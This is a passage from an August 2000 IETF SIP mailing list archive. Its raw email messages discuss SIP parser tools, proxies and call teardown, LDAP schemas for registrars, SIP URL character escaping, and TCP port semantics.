Eilat Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] SIP Parser References: <81C3E8FE6C0AD4119D49009027C3AAB248FB10@MAIL-IN> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michel, You might want to try Lex & Yacc, it worked fine for us. Regards, Hisham Michel Eilat wrote: > Hi folks, > > Can someone recommend a good lexical software package (parser tool) to parse > SIP messages. > > Thanks > > Michel Eilat > > Audiocodes LTD > 4 Hahoresh St, > P.O.Box 14 Yehud 56470 > Israel > > Direct: +972-3-5394160 > Fax: +972-3-5394040 > Email: michel.eilat@audiocodes.com > Web Site: http://www.audiocodes.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 09:03:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA29361 for ; Tue, 1 Aug 2000 09:03:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 76CDD443D4; Tue, 1 Aug 2000 09:02:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id D50B744336 for ; Tue, 1 Aug 2000 09:02:45 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.10.1/8.10.1/WIREfire-1.3) with ESMTP id e71D2hQ09305; Tue, 1 Aug 2000 15:02:43 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.144]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id QAA09320; Tue, 1 Aug 2000 16:02:43 +0300 (EET DST) Message-ID: <3986CA26.ED482DAF@ericsson.fi> Date: Tue, 01 Aug 2000 16:01:26 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Dvir Oren Cc: SIP Subject: Re: [SIP] Proxy initiating a BYE References: <14725.44127.403193.648226@jodie.lucid> <39862A2A.878BBF63@dynamicsoft.com> <14726.35447.996397.900378@jodie.lucid> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Dvir Oren wrote: > Jonathan Rosenberg writes ("Re: [SIP] Proxy initiating a BYE"): > > > application server acting as a B2BUA. See the 3pcc draft for some ideas > > on how this works. > > I've readh through the 3pcc draft, and find that there is one > characteristic missing. The second example (click-to-dial) assumes > sount out-of-band mechanism for a user to initiate a call using the > 3pcc (in the example it was some HTTP application). I'll quote: > > We assume for purposes of this discussion that the web server is > actually an applications server that contains an http interface. In > this case, when the user clicks on the URL, the application server > knows, through cookies or some other state mechanism, the addresses > of the participants to be connected. > > How is this done using SIP? I want UserA to send an INVITE to a 3pcc, > to which it will send an INVITE to UserB. This is why I wanted a > proxy. A proxy will do exactly that. However, I need some timing > capabilities (such as a calling card that is time limited). This > means that the "man in the middle" will need to hang up. An ideal > solution for me would be for the proxy to hang up. Perhaps what I > need it to signal the UA that it should hang up, and then the end UA > will send the BYE, instead of the proxy. This will require an > extension to SIP. I think what you are refering to is some sort of a SIP Controller (Application Server with parlay interface, for example) that would have UA capabilities (actually, it would have to be a UA). As Jonathan said, proxies don't initiate requests. The SIP controller would have a timer and send BYEs to both parties once the timer has expired. > > > I think that for many QoS and similar applications, this issue should > be address more cleanly. > > Suppose a proxy controls a firewall to open or close ports for the > RTP. For some reason the proxy decides that this call should no > longer pass through the firewall. A nice solution would have been for > the proxy to somehow initiate the teardown of the call. The tools > that the RFC provide seem to point to simply closing the RTP and > letting ICMP notify the parties that they can't be reached. > > Am I missing something? If you are tallking about a SIP Proxy, then I believe what you have described above is not a function of it. Dvir Oren > Lucid VON Ltd. > 9 Saloniki St., Tel-Aviv Israel > Tel: +972 3 644 3038 Fax: +972 3 644 3039 > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 09:50:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10013 for ; Tue, 1 Aug 2000 09:50:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 07E1E443F2; Tue, 1 Aug 2000 09:50:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id EA92B44398 for ; Tue, 1 Aug 2000 09:49:58 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e71Dnuw14774; Tue, 1 Aug 2000 15:49:57 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.144]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id QAA12108; Tue, 1 Aug 2000 16:49:56 +0300 (EET DST) Message-ID: <3986D537.91533E65@ericsson.fi> Date: Tue, 01 Aug 2000 16:48:39 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne Cc: sip Subject: Re: [SIP] LDAP schema for SIP References: <397D4202.72EADA57@dynamicsoft.com> <398585C2.57126199@ericsson.fi> <39858946.686708B1@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, As I understand, and please correct me if I'm wrong, your sipd server only uses the LDAP server when your local DB fails to return any info about the callee. What we want to is use the LDAP server as our location server for REGISTER requests and retrieval (as you said, a backend for a registrar). I know that LDAP is more used for long term location info and doesn't fit nicely in a rapidly changing location info (a lot of writes as well as reads), but we are willing to experiment anyway. Do you think its worth the effort in defining a schema for SIP? Much appreciated Hisham Henning Schulzrinne wrote: > No work that I know of. However, this would presumably just be an > extension of the usual 'Internet person' scheme (unless you want to use > LDAP as the backend for a registrar that stores more dynamic > reachability information). In most cases, an existing schema, with the > email address also serving as a SIP address, will be a good first > approximation. > > We use LDAP in our sipd server and simply key on the email address in > the LDAD db or display name for local users. > > Hisham Khartabil wrote: > > > > Hi all, > > > > I was wondering if there has been any work done on an LDAP schema for SIP. > > If so, I would appreciate a pointer to some documentation. If not, can > > someone give me some implementation hits on what the DN would look like > > (using the To: header?? ). Also the attribute types used for storing the > > contact sip-uri, and parameters such as action, q, etc. > > > > Much appreciated > > Hisham > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 11:03:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03545 for ; Tue, 1 Aug 2000 11:03:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3DCCD443F2; Tue, 1 Aug 2000 11:02:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 33BC04438B for ; Tue, 1 Aug 2000 11:02:29 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA03311; Tue, 1 Aug 2000 11:06:10 -0400 (EDT) Message-ID: <3986E870.A8D19A96@cs.columbia.edu> Date: Tue, 01 Aug 2000 11:10:40 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Hisham Khartabil Cc: sip Subject: Re: [SIP] LDAP schema for SIP References: <397D4202.72EADA57@dynamicsoft.com> <398585C2.57126199@ericsson.fi> <39858946.686708B1@cs.columbia.edu> <3986D537.91533E65@ericsson.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > As I understand, and please correct me if I'm wrong, your sipd server only uses > the LDAP server when your local DB fails to return any info about the callee. Yes. > What we want to is use the LDAP server as our location server for REGISTER > requests and retrieval (as you said, a backend for a registrar). > > I know that LDAP is more used for long term location info and doesn't fit nicely > in a rapidly changing location info (a lot of writes as well as reads), but we > are willing to experiment anyway. > > Do you think its worth the effort in defining a schema for SIP? I would see this more as an extension of an existing (person) schema than something completely new. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 11:05:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04097 for ; Tue, 1 Aug 2000 11:05:41 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 56405443F8; Tue, 1 Aug 2000 11:02:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 0F4AA443F5 for ; Tue, 1 Aug 2000 11:02:36 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA03315; Tue, 1 Aug 2000 11:06:15 -0400 (EDT) Message-ID: <3986D148.58691BB4@cs.columbia.edu> Date: Tue, 01 Aug 2000 09:31:52 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'Gethin Liddell'" , Ajay Chitturi , sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The current version of the text (to be -01) says ... The set of characters not reserved in the RFC 2806 description of \header{telephone-subscriber} contains a number of characters in various syntax elements that need to be escaped when used in SIP URLs, for example quotation marks (\%22), hash (\%23), colon (\%3a), at-sign (\%40) and the ``unwise'' characters, i.e., punctuation of \%5b and above. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 11:10:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05102 for ; Tue, 1 Aug 2000 11:10:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3453E443FC; Tue, 1 Aug 2000 11:03:01 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 771004438B for ; Tue, 1 Aug 2000 11:02:57 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA03327; Tue, 1 Aug 2000 11:06:48 -0400 (EDT) Message-ID: <3986D148.58691BB4@cs.columbia.edu> Date: Tue, 01 Aug 2000 09:31:52 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'Gethin Liddell'" , Ajay Chitturi , sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The current version of the text (to be -01) says ... The set of characters not reserved in the RFC 2806 description of \header{telephone-subscriber} contains a number of characters in various syntax elements that need to be escaped when used in SIP URLs, for example quotation marks (\%22), hash (\%23), colon (\%3a), at-sign (\%40) and the ``unwise'' characters, i.e., punctuation of \%5b and above. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 13:24:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09172 for ; Tue, 1 Aug 2000 13:24:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D0E2C4438B; Tue, 1 Aug 2000 13:24:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from c000.snv.cp.net (c000-h007.c000.snv.cp.net [209.228.32.71]) by lists.bell-labs.com (Postfix) with SMTP id 8A38D44386 for ; Tue, 1 Aug 2000 13:24:00 -0400 (EDT) Received: (cpmta 22595 invoked from network); 1 Aug 2000 10:20:27 -0700 Received: from 1Cust122.tnt5.pittsburgh.pa.da.uu.net (HELO toshiba3) (63.10.65.122) by smtp.barber.net (209.228.32.71) with SMTP; 1 Aug 2000 10:20:27 -0700 X-Sent: 1 Aug 2000 17:20:27 GMT From: "Simon Barber" Cc: Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Tue, 1 Aug 2000 10:23:05 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <4.3.2.7.2.20000801065004.00d381c0@webhost.tactical-sw.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Yon: > As far as a TCP connection using "a source port equal to the destination of > the remote node", well, by definition this is what TCP connections > do! When a TCP connection is set up, it is defined by a four-tuple, and > all communication is between two IP addresses and exactly two port > numbers. So if you are receiving packets on port 4399, you will also be > sending packets from 4399, there's no way around it. > l-labs.com/mailman/listinfo/sip This is not the case - how could you distinguish two connections from one machine to one service on a well known port on another machine? The source and destination ports are usually different. Example: Connection web page request from 128.0.0.1 to 128.0.0.2 Packets from 128.0.0.1 have source address 128.0.0.1, port 1234, destination address 128.0.0.2, port 80. Packets sent back in reply have source address 128.0.0.2, port 80, destination address 128.0.0.1, port 1234. Regards, Simon Barber _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 13:49:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12747 for ; Tue, 1 Aug 2000 13:49:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7AC244440B; Tue, 1 Aug 2000 13:47:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by lists.bell-labs.com (Postfix) with ESMTP id B3F48443BE for ; Tue, 1 Aug 2000 13:47:22 -0400 (EDT) Received: from voicecore.com (user-38ld5rl.dialup.mindspring.com [209.86.151.117]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA14872; Tue, 1 Aug 2000 13:47:20 -0400 (EDT) Message-ID: <39873831.C5B5D1D6@voicecore.com> Date: Tue, 01 Aug 2000 13:50:57 -0700 From: Samir Chatterjee X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Simon Barber Cc: sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Simon Barber wrote: > > > Connection web page request from 128.0.0.1 to 128.0.0.2 > > Packets from 128.0.0.1 have source address 128.0.0.1, port 1234, destination > address 128.0.0.2, port 80. > Packets sent back in reply have source address 128.0.0.2, port 80, > destination address 128.0.0.1, port 1234. > > Regards, > > Simon Barber > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip Simon, you are absolutely right. An endpoint in TCP is (IP addr, port) and a pair of end-points make up a TCP connection. So even if one end-point is common as is typical with web servers (131.96.1.4, 80), but since the other end-points are all different, these denote all different TCP connections. In fact that is how TCP keeps track of where to send data based on active connections it is maintaining. I also think that since the client end-point does an active connect, the local source port is dynamically obtained from the O/S and bound to the other side (server) of the end-point. Full duplex data can now flow both ways through this connection. I am not sure why media client in UA has to notify the source port to the media server in UA. Connection should take care of it. -- Samir Chatterjee Georgia State University Atlanta, GA 30303. Ph: 404-651-3886 Fax: 404-651-3842 schatter@gsu.edu http://www.cis.gsu.edu/~schatter **************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 15:04:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21810 for ; Tue, 1 Aug 2000 15:04:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5B5E1443BE; Tue, 1 Aug 2000 15:03:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 5974D44367 for ; Tue, 1 Aug 2000 15:03:48 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) id 13JhKN-0005Xi-00; Tue, 01 Aug 2000 15:03:47 -0400 Received: from yon-notebook.dialout.net (npxdsl050.net1plus.com [63.65.243.50]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id OAA25902; Tue, 1 Aug 2000 14:57:09 -0400 (EDT) Message-Id: <4.3.2.7.2.20000801150115.00d193f0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 01 Aug 2000 15:08:51 -0400 To: "Simon Barber" From: David Yon Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Cc: In-Reply-To: References: <4.3.2.7.2.20000801065004.00d381c0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 10:23 AM 8/1/00 -0700, Simon Barber wrote: >Yon: > >This is not the case - how could you distinguish two connections from one >machine to one service on a well known port on another machine? The source >and destination ports are usually different. > >Example: > >Connection web page request from 128.0.0.1 to 128.0.0.2 > >Packets from 128.0.0.1 have source address 128.0.0.1, port 1234, destination >address 128.0.0.2, port 80. >Packets sent back in reply have source address 128.0.0.2, port 80, >destination address 128.0.0.1, port 1234. No, no, no, no, no. I was *not* contradicting this (amazing how hard it is to communicate such a simple thing). Look at what I said: " So if you are receiving packets on port 4399, you will also be sending packets *from* 4399. " (emphasis added) Look at what you said: " Packets sent back in reply have source address 128.0.0.2, port 80, destination address 128.0.0.1, port 1234. " These two statements are not at odds with each other. Mine is a bit less complete, but I figured what I left out goes without saying. :-) Substituting your port example into my phrasing: " So if you are receiving packets on port 80, you will also be sending packets from 80. " This is TRUE. If you have a connection on port 80 (local) to port 1234 (remote), any outbound packet (from local to remote) WILL HAVE A SOURCE PORT OF 80, so "you will also be sending packets from 80". So yes, we're in violent agreement. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 15:56:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27769 for ; Tue, 1 Aug 2000 15:56:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 540364440D; Tue, 1 Aug 2000 15:55:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 689F344367 for ; Tue, 1 Aug 2000 15:55:34 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13Ji8T-0005Bi-00; Tue, 01 Aug 2000 15:55:33 -0400 Received: from yon-notebook.dialout.net (npxdsl050.net1plus.com [63.65.243.50]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id PAA25943; Tue, 1 Aug 2000 15:48:54 -0400 (EDT) Message-Id: <4.3.2.7.2.20000801155836.00ce3e90@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 01 Aug 2000 16:00:35 -0400 To: "Simon Barber" From: David Yon Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Cc: In-Reply-To: <4.3.2.7.2.20000801150115.00d193f0@webhost.tactical-sw.com> References: <4.3.2.7.2.20000801065004.00d381c0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com After rereading my post, I see that in my zeal to be understood, I may have come across as inflammatory. This was unintentional and I should have submitted the posting after another proofreading. No offense was intended. At 03:08 PM 8/1/00 -0400, David Yon wrote: >This is TRUE. If you have a connection on port 80 (local) to port 1234 >(remote), any outbound packet (from local to remote) WILL HAVE A SOURCE >PORT OF 80, so "you will also be sending packets from 80". So yes, we're >in violent agreement. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 15:58:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27983 for ; Tue, 1 Aug 2000 15:58:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DFA514440F; Tue, 1 Aug 2000 15:57:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dfssl.exchange.microsoft.com (dfssl.exchange.microsoft.com [131.107.88.59]) by lists.bell-labs.com (Postfix) with SMTP id 9ECE444367 for ; Tue, 1 Aug 2000 15:57:43 -0400 (EDT) Received: from 172.30.236.11 by dfssl.exchange.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 01 Aug 2000 10:48:03 -0700 (Pacific Daylight Time) Received: from STAY.platinum.corp.microsoft.com ([172.30.236.91]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2023); Tue, 1 Aug 2000 10:56:28 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4415.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BFFBE1.4D03C2EE" Subject: RE: [SIP] Change in SIP URL syntax Date: Tue, 1 Aug 2000 10:52:46 -0700 Message-ID: <078292D50C98D2118D090008C7E9C6A60976FCC5@STAY.platinum.corp.microsoft.com> Thread-Topic: [SIP] Change in SIP URL syntax Thread-Index: Ab/7yWojXChuyn/rTSmFzea4wVKqHgAF8OLA From: "Ajay Chitturi" To: "Henning Schulzrinne" , "Fairlie-Cuninghame, Robert" Cc: "Gethin Liddell" , X-OriginalArrivalTime: 01 Aug 2000 17:56:28.0382 (UTC) FILETIME=[D116F7E0:01BFFBE1] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------_=_NextPart_001_01BFFBE1.4D03C2EE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable After going through the earlier discussion pointed to by Gethin, my understanding is that "@" should be removed from param-unreserved=20 and hnv-unreserved on page 18.=20 Is this correct ? Thanks -----Original Message----- From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] Sent: Tuesday, August 01, 2000 6:32 AM To: Fairlie-Cuninghame, Robert Cc: 'Gethin Liddell'; Ajay Chitturi; sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax The current version of the text (to be -01) says ... The set of characters not reserved in the RFC 2806 description of \header{telephone-subscriber} contains a number of characters in various syntax elements that need to be escaped when used in SIP URLs, for example quotation marks (\%22), hash (\%23), colon (\%3a), at-sign (\%40) and the ``unwise'' characters, i.e., punctuation of \%5b and above. ------_=_NextPart_001_01BFFBE1.4D03C2EE Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [SIP] Change in SIP URL syntax

After going through the earlier discussion pointed to = by Gethin,
my understanding is that "@" should be = removed from param-unreserved
and hnv-unreserved on page 18.

Is this correct ?

Thanks

-----Original Message-----
From: Henning Schulzrinne [mailto:schulzrinne@cs.columbi= a.edu]
Sent: Tuesday, August 01, 2000 6:32 AM
To: Fairlie-Cuninghame, Robert
Cc: 'Gethin Liddell'; Ajay Chitturi; = sip@lists.bell-labs.com
Subject: Re: [SIP] Change in SIP URL syntax


The current version of the text (to be -01) = says

... The set of characters not reserved in the RFC 2806 = description
of \header{telephone-subscriber} contains a number of = characters in
various syntax elements that need to be escaped when = used in SIP URLs,
for example quotation marks (\%22), hash (\%23), = colon (\%3a), at-sign
(\%40) and the ``unwise'' characters, i.e., = punctuation of \%5b and
above.


